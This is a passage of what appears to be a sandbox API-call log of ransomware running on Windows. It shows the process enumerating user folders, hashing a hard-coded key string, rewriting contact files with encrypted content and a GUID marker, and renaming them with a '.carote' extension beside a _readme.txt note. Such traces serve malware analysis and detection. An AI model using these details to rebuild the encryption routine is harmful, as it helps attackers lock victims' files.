FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c0e1ec0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c0e1ec0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaf043c0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0111.847] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0111.847] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaf043c0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0111.847] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.847] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.847] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0111.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.848] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.848] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.848] PathFindFileNameW (pszPath="") returned="" [0111.848] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.848] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.848] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2f53010, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb2f53010, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0111.848] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0111.848] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c2129c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c2129c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0111.848] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c2129c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c2129c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0111.848] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.848] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.848] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0111.848] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.848] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.849] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.849] PathFindFileNameW (pszPath="") returned="" [0111.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c2129c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c2129c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0111.849] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.849] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0111.849] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.849] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.849] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.849] PathFindFileNameW (pszPath="") returned="" [0111.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.849] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.849] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0111.849] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0111.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.850] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1178) returned 1 [0111.850] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.852] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.852] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.853] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x49a, lpOverlapped=0x0) returned 1 [0111.854] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.854] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.854] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.854] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0111.855] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.855] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.855] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.855] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0111.855] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.855] GetLastError () returned 0x0 [0111.855] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.856] SetLastError (dwErrCode=0x0) [0111.856] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] GetLastError () returned 0x0 [0111.857] SetLastError (dwErrCode=0x0) [0111.857] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.857] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.857] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a13260 | out: hHeap=0x5010000) returned 1 [0111.857] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0111.857] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0111.858] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0111.858] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x4a0) returned 0x7b14c20 [0111.858] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0111.858] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.858] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14c20*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b14c20*, lpNumberOfBytesWritten=0x825fb24*=0x495, lpOverlapped=0x0) returned 1 [0111.858] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.858] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.858] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.858] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0111.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0111.858] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0111.858] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0111.858] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.858] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0111.858] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.858] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0111.858] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0111.858] CloseHandle (hObject=0x61c) returned 1 [0111.859] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0111.859] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0111.859] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0111.859] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.carote")) returned 1 [0111.860] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0111.860] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.861] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0111.861] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0111.861] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.861] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0111.861] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.861] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0111.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0111.864] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=68382) returned 1 [0111.864] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0111.865] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.865] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0111.867] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0111.867] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.867] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.867] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0111.868] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.868] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0111.868] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.868] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0111.868] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0111.869] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0111.869] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0111.869] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0111.869] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0111.869] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0111.869] GetLastError () returned 0x0 [0111.869] SetLastError (dwErrCode=0x0) [0111.869] GetLastError () returned 0x0 [0111.869] SetLastError (dwErrCode=0x0) [0111.869] GetLastError () returned 0x0 [0111.869] SetLastError (dwErrCode=0x0) [0111.869] GetLastError () returned 0x0 [0111.869] SetLastError (dwErrCode=0x0) [0111.869] GetLastError () returned 0x0 [0111.869] SetLastError (dwErrCode=0x0) [0111.870] GetLastError () returned 0x0 